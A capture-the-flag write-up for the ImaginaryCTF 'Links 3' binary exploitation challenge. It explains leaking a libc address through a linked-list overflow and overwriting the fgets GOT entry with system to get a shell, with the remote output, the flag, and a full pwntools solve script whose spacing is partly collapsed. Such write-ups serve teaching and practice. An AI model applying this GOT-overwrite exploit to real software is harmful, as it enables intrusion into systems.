I'll keep this short; since Links 2, the view_time function has been removed. We no longer have system in the GOT, but that doesn't matter.
As is common practice with stack-based buffer overflows, we can leak any Lib-C function address and then calculate our way back to the base of the binary. From there, we can add any offset we like to get the function of choosing, e.g. libc.system or a string, e.g. libc."/bin/sh".
I chose to leak got.puts, when run against the server it leaks 0x7fbfd373eed0. Once we get an address of a known function, we can take it to libc.blukat.me or libc.rip and provide the function name and address.
We'll get a list of possible Lib-C library versions. The more functions we leak, the more we can narrow down the search.
In this case, the correct version was libc6_2.35-0ubuntu3_amd64, so we plug in the correct offsets.
libc = puts -0x80ed0system = libc +0x50d60
Running the binary, we get a shell.
python exploit.py REMOTE puzzler7.imaginaryctf.org 2998[+] Opening connection to puzzler7.imaginaryctf.org on port 2998: Done[*] leaked got_puts:0x7f470992eed0[*] got_system:0x7f47098fed60[*] Switching to interactive mode What data do you want to write to this element?>>> $ cat flag.txtictf{dammit_I'm_never_gonna_mix_up_64_and_0x64_again_it's_cost_me_three_flags_already}
note: If this write-up didn't make much sense, review Links 1 and Links 2 write-ups first 🙂
Solve Script
from pwn import*# Allows you to switch between local/GDB/remote from terminaldefstart(argv=[],*a,**kw):if args.GDB:# Set GDBscript belowreturn gdb.debug([exe] + argv, gdbscript=gdbscript, *a, **kw)elif args.REMOTE:# ('server', 'port')returnremote(sys.argv[1], sys.argv[2], *a, **kw)else:# Run locallyreturnprocess([exe] + argv, *a, **kw)# Specify GDB script here (breakpoints etc)gdbscript ='''init-pwndbgbreak write_datacontinue'''.format(**locals())# Binary filenameexe ='./links3'# This will automatically get context arch, bits, os etcelf = context.binary =ELF(exe, checksec=False)# Change logging level to help with debugging (error/warning/info/debug)context.log_level ='info'# ===========================================================# EXPLOIT GOES HERE# ===========================================================# Start programio =start()# View time (populate system() in GOT)io.sendlineafter(b'>>>', b'3')# Add 5 elements to listfor i inrange(5): io.sendlineafter(b'>>>', b'2') io.sendlineafter(b'>>>', str(i).encode()) io.sendlineafter(b'>>>', b'CHUNK_'+str(i).encode())# Overflow element pointer with got.system address# This is because we need libc leak for x64 stack alignio.sendlineafter(b'>>>', b'2')io.sendlineafter(b'>>>', b'3')# Overwrite the link to point to GOT entry, 0x51 for next chunk size to keep list intactio.sendlineafter(b'>>>', (b'\x00'*64) +flat([elf.got.puts, 0x51]))# View list (leak libc.puts() address)io.sendlineafter(b'>>>', b'1')io.recvuntil(b'3: ')puts =unpack(io.recv()[4:10].ljust(8, b'\x00'))info("leaked got_puts: %#x", puts)# libc6_2.35-0ubuntu3_amd64 - https://libc.rip/libc = puts -0x80ed0system = libc +0x50d60info("got_system: %#x", system)# Modify element in listio.sendline(b'2')io.sendlineafter(b'>>>', b'1')# Overwrite the link to point to GOT entry, 0x51 for next chunk size to keep list intactio.sendlineafter(b'>>>', b'/bin//sh'+ (b'\x00'*56) +flat([elf.got.fgets, 0x51]))# Add element to listio.sendlineafter(b'>>>', b'2')io.sendlineafter(b'>>>', b'2')# Overwrite got.fgets with systemio.sendlineafter(b'>>>', flat(system))# See if we've got a shellio.sendlineafter(b'>>>', b'2')io.sendlineafter(b'>>>', b'1')# Got Shell?io.interactive()